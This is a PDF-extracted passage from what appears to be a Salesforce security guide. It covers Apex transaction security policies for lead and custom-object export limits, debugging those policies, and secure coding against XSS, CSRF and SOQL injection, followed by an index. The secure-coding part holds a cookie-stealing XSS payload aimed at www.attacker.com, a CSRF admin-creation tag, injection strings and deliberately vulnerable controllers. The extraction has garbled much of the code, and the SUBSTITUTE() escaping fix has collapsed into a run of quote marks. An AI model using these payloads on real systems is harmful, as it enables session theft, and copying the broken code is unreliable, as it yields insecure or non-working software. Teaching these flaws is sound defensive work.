    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when null {
                return false;
            }
            when else{
                return false;
            }
        }
    }

    private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
```
if ('Lead'.equals(queriedEntities) && rowsProcessed > 2000){
    return true;
} else {
    return false;
}

The preceding example shows how the Apex code for a policy that handles multiple event objects uses implicit typecasting, branching logic, and event error cases with the `switch` statement. Also, it's easy to update this code to handle a new event object or use case.

Expand the Lead Data Export Example with New Use Cases

Let's say that you've created a custom report type in your org that's based on leads and other objects, such as campaigns. You want to enforce your enhanced policy on this report type, too. In this case, the `QueriedEntities` field contains a comma-separated list of the objects that the custom report type is based on, such as `Lead,Campaign,MyOtherObject`. To ensure that the enhanced policy triggers on this custom report type, use the `contains()` method to check for `Lead` in the `QueriedEntities` value rather than `equals()`. For example:

```apex
global class LeadExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when null {
                return false;
            }
            when else {
                return false;
            }
        }
    }

    private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
        if (queriedEntities.contains('Lead') && rowsProcessed > 2000){
            return true;
        } else {
            return false;
        }
    }
}
```

Next, imagine that you have a custom object `HRCase__c` that you want to monitor in addition to leads. Add a condition on the `QueriedEntities` field. For example:

```apex
global class DataExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
        }
    }
}
```
when ReportEvent reportEvent {
    return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {
    return false;
}
when else{
    return false;
}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
    if (containsQueriedEntities(queriedEntities) && rowsProcessed > 2000){
        return true;
    }
    return false;
}

private boolean containsQueriedEntities(String queriedEntities){
    return queriedEntities.contains('Lead') ||
        queriedEntities.contains('HRCase__c');
}

So far we’ve used the ApiEvent and ReportEvent event objects to monitor API queries and report operations. But users can also use list views to view or export org data. Sounds like a job for the ListViewEvent event object! To update the Apex code, add a switch case.

Note: Monitoring list views is a feature of the enhanced transaction policy framework that doesn’t exist in the legacy framework.
Advanced Policy Migration Example

This example shows how to migrate a more complex policy.

The sample legacy policy in this topic is similar to the legacy Lead Data Export policy but with two key differences. Rather than monitor only leads, this policy monitors several different object types. Also, rather than hard-code an export limit of 2,000 records, this policy defines different limits for different object types.

The export limits are stored in a custom metadata type called TransactionSecurityLimit__mdt which contains these two fields:

- **Object_Type__c** (Picklist)—The object type
- **Limit_Value__c** (Number(18,0))—The maximum number of records of this object type that a user is allowed to export

The legacy policy queries this custom metadata type to dynamically determine the export limit value for each object type.

global class DataExportPolicyCondition implements TxnSecurity.PolicyCondition {
    private Final Integer DEFAULT_LIMIT = 2000;
    public boolean evaluate(TxnSecurity.Event e) {
        Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
        String entityName = e.data.get('EntityName');

        Integer limitValue = getLimitValue(entityName);

        if (numberOfRecords > limitValue) {
            return true;
        }
        return false;
    }
}

/**
 * Get the export limit for the given object type. If no such limit exists,
 * or an exception occurs while trying to look up the limit, the default limit
 * of 2000 records is returned.
 */
public Integer getLimitValue(String entityName) {
    List<Transaction_Security_Limit__mdt> limits = new List<Transaction_Security_Limit__mdt>();
    try {
        limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE Object_Type__c = :entityName];
    } catch (Exception ex) {
        // unable to determine the limit, log and return the default
        System.debug('Error getting limit value
: ' + ex.getMessage());
        return DEFAULT_LIMIT;
    }
    if (limits.size() == 0) {
        // no limit found, return the default
        return DEFAULT_LIMIT;
    }
    return (Integer)(limits[0].Limit_Value__c);
}

In the enhanced policy, we can reuse most of the logic that queries the TransactionSecurityLimit__mdt custom metadata type. The main difference is the code for getting the name of the entities for which we want to query the export limit. In the legacy policy, we use the EntityName key value of the data Map. Its equivalent in the enhanced framework is QueriedEntities. But remember that the QueriedEntities field can contain more than one entity name, because the enhanced framework supports exports on all standard and custom objects. So we take the comma-separated list of queried entities and split it up into a List of entity names.

global class DynamicExportEventCondition implements TxnSecurity.EventCondition {
    private Final Integer DEFAULT_LIMIT = 2000;
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when ListViewEvent listViewEvent {
                return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);
            }
            when null {
                return false;
            }
            when else {
                return false;
            }
        }
    }
}
private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
    List<String> queriedEntitiesList = queriedEntities.split(',');
    // for all of the entities being exported, check their limit
    for (String queriedEntity : queriedEntitiesList) {
        Integer limitValue = getLimitValue(queriedEntity);
        if (rowsProcessed > limitValue) {
            // if any of our entities are having their limit violated
            // then return true to trigger the policy
            return true;
        }
    }
    return false;
}

/**
 * Get the export limit for the given object type. If no such limit exists,
 * or an exception occurs while trying to look up the limit, the default limit
 * of 2000 records is returned.
 **/
private Integer getLimitValue(String entityName) {
    List<Transaction_Security_Limit__mdt> limits = new List<Transaction_Security_Limit__mdt>();
    try {
        limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE Object_Type__c = :entityName];
    } catch (Exception ex) {
        // unable to determine the limit, return the default
        System.debug('Error getting limit value\n: ' + ex.getMessage());
        return DEFAULT_LIMIT;
    }
    if (limits.size() == 0) {
        // no limit found, return the default
        return DEFAULT_LIMIT;
    }
    return (Integer)(limits[0].Limit_Value__c);
}

SEE ALSO:
Custom Metadata Types
Test and Troubleshoot Your New Enhanced Policy

If your enhanced transaction security policy is not behaving as you expect, check out these testing and troubleshooting tips for diagnosing the problem.

Test in a Sandbox

Always test a new policy in a sandbox before deploying it to production. While in your sandbox, create and enable the policy, and then try different actions to test whether it’s executing as you expect.

For example, if you want your ReportEvent policy to block all report exports on leads, try different report operations to ensure that they’re being blocked. For example:

- Run standard reports on leads
- Create a custom report type on leads, and run reports that use that type
- Execute report REST API queries on leads

Check Your Policy Conditions

If your policy is not working as you expect, it’s possible that you added the wrong conditions. Event Manager is a great tool to troubleshoot policy conditions. When you enable storage or streaming for your event from the Event Manager UI, you can examine the field values for real events in your org. You can then compare these actual values with the values you expect and see if they match.

For example, let’s say you create a ReportEvent policy with the condition “QueriedEntities equals Lead.” You then run a custom report type in your org that contains Lead objects. You expect the policy to trigger, but it doesn’t. Try these steps to find the problem.

2. Run your custom report type again so that a ReportEvent entry is stored.
3. From an API client, such as Workbench, query your ReportEvent event objects and find the entry that corresponds to this recent run of the custom report type.
4. Check the value of the QueriedEntities field. Is it what you expect? If it isn’t, change your condition. For example, if your custom report type is on more than just leads, the value of QueriedEntities is something like Lead, Campaign, MyCustomObject__c. In this case, change your policy condition to be “QueriedEntities contains Lead.”

Add Automated Apex Tests

Automated Apex tests are a good way to find typos, logical flaws, and regressions in the Apex code for your new enhanced policy. In general, it’s a best practice to write automated tests early in the development cycle. Testing ensures that you fix malfunctioning policies before they negatively affect your production users.

For example, the Lead Data Export Apex class contains a typo so that the condition tests for Laed instead of Lead. When you execute this Apex test, it fails, so you know that something is wrong.

```java
/**
 * Tests for the LeadExportEventCondition class, to make sure that our Transaction Security Apex logic handles events and event field values as expected.
 **/ @isTest
public class LeadExportEventConditionTest {
    //
```
* Test Case 1: If an ApiEvent has Lead as a queried entity and more than 2000 rows processed, then the evaluate method of our policy's Apex should return true.
**
static testMethod void testApiEventPositiveTestCase() {
    // set up our event and its field values
    ApiEvent testEvent = new ApiEvent();
    testEvent.QueriedEntities = 'Account, Lead';
    testEvent.RowsProcessed = 2001;

    // test that the Apex returns true for this event
    LeadExportEventCondition eventCondition = new LeadExportEventCondition();
    System.assert(eventCondition.evaluate(testEvent));
}

Add Apex Debug Logs

After creating and running Apex tests, you now know there's a problem in your Apex code, but you don't know what it is. Apex debug logs help you gain visibility into what your Apex class is doing so that you can fix the issue.

Let's update the Apex code for the enhanced Lead Data Export policy that currently has the unfortunate Laed typo with some System.debug() statements.

global class LeadExportEventCondition implements TxnSecurity.EventCondition {
    public boolean evaluate(SObject event) {
        switch on event{
            when ApiEvent apiEvent {
                System.debug('Evaluating an ApiEvent');
                return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
            }
            when ReportEvent reportEvent {
                System.debug('Evaluating a ReportEvent');
                return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
            }
            when null {
                System.debug('Evaluating null');
                return false;
            }
            when else {
                System.debug('Evaluating another event type: ' + event);
                return false;
            }
        }
    }

    private boolean evaluate(String queriedEntities, Decimal rowsProcessed) {
        // pulling out our 2 conditions into variables
        // so that we can also use them for logging!
        boolean containsLead = queriedEntities.contains('Laed');
        boolean moreThan2000 = rowsProcessed > 2000;

        System.debug('Contains Lead? ' + containsLead);
    }
}
Rerun the Apex test from the Developer Console, and view the debug logs that your Apex code generated. This example shows that the QueriedEntities field of the recent event doesn’t contain a Lead. The highlighted debug log pinpoints the condition that didn’t evaluate correctly. Now it’s easy to examine your Apex code and find the typo.

If you want to see the debug output when a policy runs in a production environment, add a User Trace flag for the Automated User. The Automated User executes transaction security policies.
**SETUP**

**Debug Logs**

To specify the type of information that is included in debug logs, add trace flags and debug levels. Each trace flag includes a debug level, a start time, an end time, and a log type.

Trace flags set logging levels (such as for Database, Workflow, and Validation) for a user, Apex class, or Apex trigger for up to 24 hours.

- Select Automated Process from the drop-down list to set a trace flag on the automated process user. The automated process user runs background jobs, such as emailing Chatter invitations.
- Select Platform Integration from the drop-down list to set a trace flag on the platform integration user. The platform integration user runs processes in the background, and appears in audit fields of certain records, such as cases created by the Einstein Bot.
- Select User from the drop-down list to specify a user whose debug logs you’d like to monitor and retain.
- Select Apex Class or Apex Trigger from the drop-down list to specify the log levels that take precedence while executing a specific Apex class or trigger. Setting class and trigger trace flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set by user trace flags, but they don’t cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at the time of execution.

**Configure your Debug Levels.**

<table>
<thead>
<tr>
<th>Traced Entity Type</th>
<th>Automated Process</th>
</tr>
</thead>
<tbody>
<tr>
<td>Traced Entity Name</td>
<td>Automated Process</td>
</tr>
<tr>
<td>Start Date</td>
<td>8/11/2019 8:01 PM</td>
</tr>
<tr>
<td>Expiration Date</td>
<td>8/11/2019 8:01 PM</td>
</tr>
<tr>
<td>Debug Level</td>
<td>SFDC_DevConsole</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

- Monitor Streaming Events
- Execute Apex Tests
- *Apex Developer Guide: Debug Log*
- View Debug Logs
- Set Up Debug Logging
Security Guidelines for Apex and Visualforce Development

Understand and guard against vulnerabilities in your code as you develop custom applications.

Understanding Security

The powerful combination of Apex and Visualforce pages allow Lightning Platform developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Lightning platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls.

Salesforce has incorporated several security defenses into the Lightning platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Lightning platform are similar to general Web application security vulnerabilities, while others are unique to Apex.

To certify an application for AppExchange, it’s important that developers learn and understand the security flaws described here. For additional information, see the Lightning Platform Security Resources page on Salesforce Developers at https://developer.salesforce.com/page/Security.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives.

For example, assume the following script is included in a Lightning Platform page using a script component, an on* event, or a Visualforce page.

```
<script>
var foo = '{$CurrentPage.parameters.userparam}';
</script>
```

This script block inserts the value of the user-supplied `userparam` onto the page. The attacker can then enter the following value for `userparam`:

```
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
```

In this case, all of the cookies for the current page are sent to `www.attacker.com` as the query string in the request to the `cookie.cgi` script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim.

The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session.

For more information on this attack in general, see the following articles:

- http://www.owasp.org/index.php/Cross_Site_Scripting
Within the Lightning platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.

**Existing Protection**

All standard Visualforce components, which start with `<apex>`, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the `<apex:outputText>` tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the `<` character is converted to `<`, so that a literal `<` displays on the user’s screen.

```
<apex:outputText>
  {!$CurrentPage.parameters.userInput}
</apex:outputText>
```

**Disabling Escape on Visualforce Tags**

By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute `escape="false"`. For example, the following output is vulnerable to XSS attacks:

```
<apex:outputText escape="false" value="{"$CurrentPage.parameters.userInput}"
```

**Programming Items Not Protected from XSS**

The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page.

**Custom JavaScript**

If you write your own JavaScript, the Lightning platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.

```
<script>
  var foo = location.search;
  document.write(foo);
</script>
```

```
<apex:includeScript value="{"$CurrentPage.parameters.userInput}" />
```
Formula Tags

The general syntax of these tags is: `{!FUNCTION()}` or `{!OBJECT.ATTRIBUTE}`. For example, if a developer wanted to include a user's session ID in a link, they could create the link using the following syntax:

```html
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
  Go to portal
</a>
```

Which renders output similar to the following:

```html
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVydi_6hNdIxXhzQTMaaSLyiO6BgQ6h65C6BjCDONFlkuqQWePo9QJwIM4h2UWPrm25w2ufErv90tC_i1A&server=https://yourInstance.salesforce.com/services/Soap/u/13.0/4f0900D300000000Jsbi">
  Go to portal
</a>
```

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the `{!$Request.*}` expression to access request parameters.

```html
<html>
  <head>
    <title>{!$Request.title}</title>
  </head>
  <body>Hello world!</body>
</html>
```

Unfortunately, the unescaped `{!$Request.title}` tag also results in a cross-site scripting vulnerability. For example, the request:

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:

```html
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>
```

The standard mechanism to do server-side escaping is through the use of the `SUBSTITUTE()` formula tag. Given the placement of the `{!$Request.*}` expression in the example, the above attack can be prevented by using the following nested `SUBSTITUTE()` calls.

```html
<html>
  <head>
    <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","\"""""""""""""""\""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
</title>
  </head>
  <body>Hello world!</body>
</html>
```

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts, can vary. For instance, this statement:

```html
<script>var ret = "{!$Request.retURL}"; script>var ret = "{!$Request.retURL}";
</script>
```
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is probably going to be used in a link. Otherwise, the request:

```
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
```

results in:

```
<script>var ret = "foo";alert('xss');";</script>
```

Additionally, the `ret` variable might need additional client-side escaping later in the page if it is used in a way which can cause included HTML control characters to be interpreted.

Formula tags can also be used to include platform object data. Although the data is taken directly from the user’s organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization’s user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and might not have been screened for malicious content.

**Cross-Site Request Forgery (CSRF)**

Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker’s page is an HTML tag that looks like this:

```
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />
```

In other words, the attacker’s page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker’s Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.

For more information and traditional defenses, see the following articles:

- [http://shiflett.org/articles/cross-site-request-forgeries](http://shiflett.org/articles/cross-site-request-forgeries)

Within the Lightning platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods.

Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.

```
<apex:page controller="myClass" action="{!init}"/>

public class myClass {
    public void init() {
        Id id = ApexPages.currentPage().getParameters().get('id');
        Account obj = [select id, Name FROM Account WHERE id = :id];
        delete obj;
    return ;
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The `id` parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the `id` parameter.

There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the `id` variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.

Because of Salesforce’s built-in defense against CSRF, your users might encounter an error when they have multiple Salesforce login pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, “The page you submitted was invalid for your session”. Users can successfully log in by refreshing the login page or attempting to log in a second time.

SOQL Injection

In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands.

For more information on SQL Injection attacks see:

- [http://www.google.com/search?q=sql+injection](http://www.google.com/search?q=sql+injection)

SOQL Injection Vulnerability in Apex

Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.

```xml
<apex:page controller="SOQLController" 
<apex:form>
  <apex:outputText value="Enter Name" />
  <apex:inputText value="{!name}" />
  <apex:commandButton value="Query" action="{!query}" />
</apex:form>
</apex:page>

public class SOQLController {
  public String name {
    get { return name; }
    set { name = value; }
  }
  public PageReference query() {
    String qryString = 'SELECT Id FROM Contact WHERE ' +
    '(IsDeleted = false and Name like \%' + name + '\%')';
    queryResult = Database.query(qryString);
  }
}
```
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected:

```
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
```

However, what if the user provides unexpected input, such as:

```
// User supplied value for name: test%') OR (Name LIKE '
```

In that case, the query string becomes:

```
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '
```

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query.

**SOQL Injection Defenses**

To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows:

```java
public class SOQLController {
    public String name {
        get { return name; }
        set { name = value; }
    }
    public PageReference query() {
        String queryName = '%' + name + '%';
        queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)];
        return null;
    }
}
```

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

**Data Access Control**

The Lightning platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers.

When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden.
from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code:

```apex
public class customController {
    public void read() {
        Contact contact = [SELECT id FROM Contact WHERE Name = :value];
    }
}
```

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords `with sharing` when declaring the class:

```apex
public with sharing class customController {
    . . .
}
```

The `with sharing` keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records.
INDEX

A
Access
about 80
revoking 81
Administrative permissions 79
apex 254, 261
Apex classes 242, 256
api event 250
App permissions 79
apps 227
attachments 151, 170
Auditing
fields 232

B
background encryption 181–183, 185, 187
baseline 4
best practices for Shield Platform Encryption 217
Bring Your Own Key (BYOK) 159, 189–195, 197

C
Cache-Only Key 197–199, 201, 203, 205–209
Change Data Capture 152
Chatter 152
classic encryption 155
Communities
authentication 58
security 58
compatibility 173
condition 250–252
Condition Builder 248, 250–253
conditions 250–252
considerations 208, 216, 219, 223, 226–227
Cookies 6, 8, 17
creating 239
Creating
groups 134
custom fields 150, 167–169
Custom objects
permissions 92
Custom permissions
creating 96
ingoing 97
enabling in permission sets 89
enabling in profiles 110

Custom views
permission sets 83
Customer Portal
organization-wide defaults 139
customizations 212

data encryption 145, 150–152, 166–173, 213
data visibility 160
definitions 154, 199
deploy 161
Desktop clients
setting user access 16
destroy key material 185, 187–188, 207
deterministic encryption 174–176, 223
Device
lost device 63–64
lost phone 63–64
disable encryption 174
duplicate management 213

E
Editing
groups 134
Einstein Analytics 152, 173
encrypt Chatter 171
encryption policy 145, 161, 166–171, 173–174
encryption process 153, 156
encryption statistics 181–183, 187
Enhanced profile user interface
desktop client access 16
enhanced transaction security 261
enhanced transaction security policy 269, 271–272, 276–279, 281,
287, 290
export key material 181
External organization-wide sharing settings
disabling 143

F
Field Audit Trail 233
Field History 233
field limits 226
Field-level security
permission sets 114
profiles 114
fields 145

301
Fields
  access 114
  auditing 232
  field-level security 114
  history 232
  permissions 113
  tracking changes 232
files 151, 170
formulas 214

G
General permissions 79
Groups
  creating and editing 134
  member types 135
  viewing all users 136

H
health check 4
High assurance 39
History
  disabling field tracking 233
  fields 232

I
identity verification 60
Identity verification 38
Identity Verification 63–64
Inline editing
  permission sets 84

K
key material 164–165
key types 165

L
legacy 269, 271–272, 276–279, 281, 287, 290
Lightning Experience 226
Login
  failures 228
  history 228
  hours, restricting 23
  IP address ranges, restricting 21–22
  restricting 10, 18
  restricting IP addresses organization-wide 24
login event 251–252
Login Flow (continued)
  create 40–41
  overview 11
  login verification 60

M
managed packages 169
Manual sharing 79
masking 160
matching rules 213
migrate 269, 271–272, 276–279, 281, 287, 290
Modify All permission 92–93

N
named credential 203
Network access 24
nonce 205

O
Object permissions 92–93
Object-level security 78
opt-out of key derivation 194
Organization-wide sharing settings
  about 78
  setting 142
  specifying 139–140
  user records 131

P
Page layouts
  assigning 102
Partner Portal
  organization-wide defaults 139
Password
  change user 9–10, 55, 57–58
  identity confirmation 55, 57
  identity verification 9–10, 55, 57–58
  login verification 9–10, 55, 57–58
  two-factor authentication 9–10, 55, 57–58
Passwords
  change 8
  changing by user 61
  expire passwords 29
  expiring 6, 8, 17
  identity confirmation 61
  login verification 61
  policies 6, 8, 17
  reset passwords 29
  two-factor authentication 61
Permission sets
about 82
app permissions 79
assigned users 89
assigning to a single user 90
assigning to multiple users 91
editing 84
field permissions 113
list views, creating and editing 83
navigating 86
object permissions 78, 92
record types 87
removing user assignments 91
searching 86
system permissions 79
permissions 163
Permissins
about 80
administrative 79
app 79
field 114
general 79
Modify All 92
object 92–93
revoking 81
system 79
user 79
View All 92
Phone
lost device 63–64
lost phone 63–64
platform encryption 169
policies 239, 248, 250–254
prerequisites 199
Profiles
cloning 108
creating 108
deleting 99, 104, 106
desktop client access 16
editing, original user interface 105
enhanced list views 106
field permissions 113
login hours 23
login IP address ranges 21–22
object permissions 78, 92
overview page 99
page layout assignments 102
user permissions 79
viewing 99, 104
Profiles (continued)
viewing lists 106
R
real time events 248, 250–254
real-time events 242–248, 250–254
Record types
access, about 88
assigning in permission sets 87
replay detection 205
Reset password
all 29
Role hierarchies
about 79
Roles
manage 111
view 111
Rules, sharing
See Sharing rules 79
S
Salesforce B2B Commerce 152
SAML
single sign-on 58
sandbox 159
script for BYOK key 192
search index 158, 172
Search Indexes 152
Searching
permission sets 86
Security
Apex policy classes 242
Apex policy classes examples 256
auditing 5
cookies 6, 8, 17
creating 248, 250–254
enhanced transaction security implementation examples 256
field permissions 78
field-level 78
field-level security 113–114
login challenge 10, 18
login IP address ranges 21–22
manual sharing 79
My Domain overview 9
network 10, 18
object permissions 78
object-level 78
organization-wide sharing settings 78
Security (continued)

overview 2
record-level security 78
restricting IP addresses organization-wide 24
role hierarchies 79
session 11
setting up 239
sharing rules 79
single sign-on 8
SSL 11
timeout 11
TLS 11
transaction security policies 239, 242, 248, 250–254
trust 2
user 6, 8, 17
user authentication 8
Security and sharing
managing 78
security check 4
security risk 4
security token 60
Separate organization-wide defaults
overview 141
Session security 38–39
Sharing
organization-wide defaults 139–140
rule considerations 127
rules, See Sharing rules 119
separate organization-wide defaults 141
settings 139–140
user sharing considerations 130
users 132
Sharing model
object permissions and 93
Sharing rules
about 119
categories 124
notes 127
sharing rule recalculation 128
Sharing, manual
See Manual sharing 79
single sign-on 8
Single sign-on
authentication providers 58
overview 12
SAML 58
standard fields 166
synchronize data 182, 185, 187
System permissions 79

T
Temporary Verification Code
verify identity 63–64
tenant secret 164–165, 178–180
terminology 154, 199
Territories
hierarchies 79
testing 261
transaction security 239, 242, 248, 250–254, 256
troubleshoot Bring Your Own Key 195
troubleshoot Cache-Only Key 206, 209
troubleshoot Shield Platform Encryption 173
trust 2
two-factor authentication 60, 188
Two-factor authentication 9–10, 55
Two-Factor Authentication 63–64
TxnSecurity.EventCondition 254

U
User permissions 79
User roles
hierarchy 111
User setup
activate device 57–58
change password 9–10, 55, 57–58
change passwords 8
changing passwords 61
verify identity 55, 63
verifying identity 61
Users
access 80
manual sharing 132
object permissions 92
organization-wide defaults 129
permission set assignments 89
permission sets, assigning to multiple users 91
permission sets, assigning to single user 90
permission sets, removing user assignments 91
permissions 79–80
revoking access 81
revoking permissions 81
sharing records 129
sharing rules 129
user sharing, restoring defaults 132

V
validation service 173
View All permission 92–93
Viewing all users in group 136